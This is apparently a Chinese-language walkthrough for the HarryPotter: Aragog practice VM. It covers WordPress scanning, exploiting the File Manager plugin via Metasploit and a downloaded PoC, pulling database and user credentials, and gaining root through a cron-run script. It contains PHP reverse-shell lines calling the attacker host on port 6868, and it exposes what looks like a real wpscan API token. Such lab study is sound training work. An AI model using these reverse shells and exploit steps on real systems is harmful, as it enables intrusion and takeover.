文章目录
靶机文档:HarryPotter: Aragog (1.0.2)
下载地址:Download (Mirror)

方式一
信息收集
主机发现
bash
sudo arp-scan -l

端口扫描

目录扫描

看到这里扫出来目录中,index.html ,javascript , server-status ,blog 下的部分目录,并且出现了wp-login.php ,这也说明了这是一个wordpress的cms框架
index.html

blog
网页没有样式

查看网页源码

做域名ip映射 /etc/hosts
域名:wordpress.aragog.hogwarts IP:自己要访问靶机的机器的IP地址

发现是 WordPress 系统,用 wpscan 扫一下,加上api-token 扫:
wpscan工具
WPScan
是一个扫描WordPress
漏洞的扫描器,可以扫描出wordpress
的版本,主题,插件,后台用户以及爆破后台用户密码等
bash
wpscan --api-token=blsnsog49N5d0UwAIYACcXs3fKbchB7JpbCgNutJRHA --url http://192.168.80.143/blog -e p --plugins-detection aggressive

可以 发现该站点的插件中有很多漏洞,而且都是关于file Manager的
漏洞利用
msf工具
bash
msf6 > search wordpress file manager

bash
use 1
info
查看需要配置的信息

需要配置rhost(目标主机),targeturl(目标网址),这个目标网址会自动跟前面的目标主机拼接,所以我们直接把rhost设置为靶机的ip,targeturl设置成/blog即可,这里因为使用的是反向,所以还需要配置自己的主机ip

在hagrid98
家目录下得到一串base64格式加密的数据

使用BurpSuite
的Decoder
功能解码


数据库权限
找一下数据库的用户名密码,查看数据库中有没有可利用信息
在**/etc/wordpress里可以打开config-default.php**。这里记录了MySQL的用户名密码,可以用于登录数据库

登录数据库之前得首先得获取一个tty shell,不然我们在数据库中的命令就看不到回显(可以理解为将非交互式shell 变成了交互式shell),输入下面命令即可拿到tty shell

使用得到用户名root
,密码mySecr3tPass
,来连接数据库

wordpress数据库保存的用户名和密码一般都放在wp_users表里面的


用户名:hagrid98
,密码:password123
用户权限
尝试SSH远程连接

root提权
使用sudo
和suid
查询后发现没有可利用的

然后查找备份文件,查看有没有.sh
结尾的文件
bash
find / -name '*.sh'


推测应该被写入了计划任务,这里我们建立一个反弹shell的脚本并通过它这个计划任务来执行
在tmp文件下创建反弹shell的php脚本并命名为a.php,脚本代码如下
php
<?php $sock=fsockopen("192.168.80.141 ",6868);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

/usr/bin/php是php的执行文件的目录,这样才能执行php文件
其实也可以直接在.backup.sh
里面直接写一个反弹shell
kali监听6868
端口

拿到root
后可以使用crontab -l
,查看当前用户的计划任务列表


方式二
信息收集
gobuster扫描
bash
└─$ gobuster dir -u http://192.168.80.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

wpscan扫描
bash
wpscan --api-token=xxxxxxxxxxxxxxxxxxxxxxxxxxxx --url http://192.168.80.143/blog -e p --plugins-detection aggressive

漏洞利用
POC
访问https://wpscan.com/vulnerability/e528ae38-72f0-49ff-9878-922eff59ace9

wget https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py
到本地
查看脚本的使用方法

生成反弹 shell写入到payload.php
文件里
php
php -r '$sock=fsockopen("192.168.80.141",6868);exec("/bin/sh -i <&3 >&3 2>&3");'

运行脚本,得到反弹shell地址

地址中多写了一个/blog
,删除即可

等一会就反弹到了
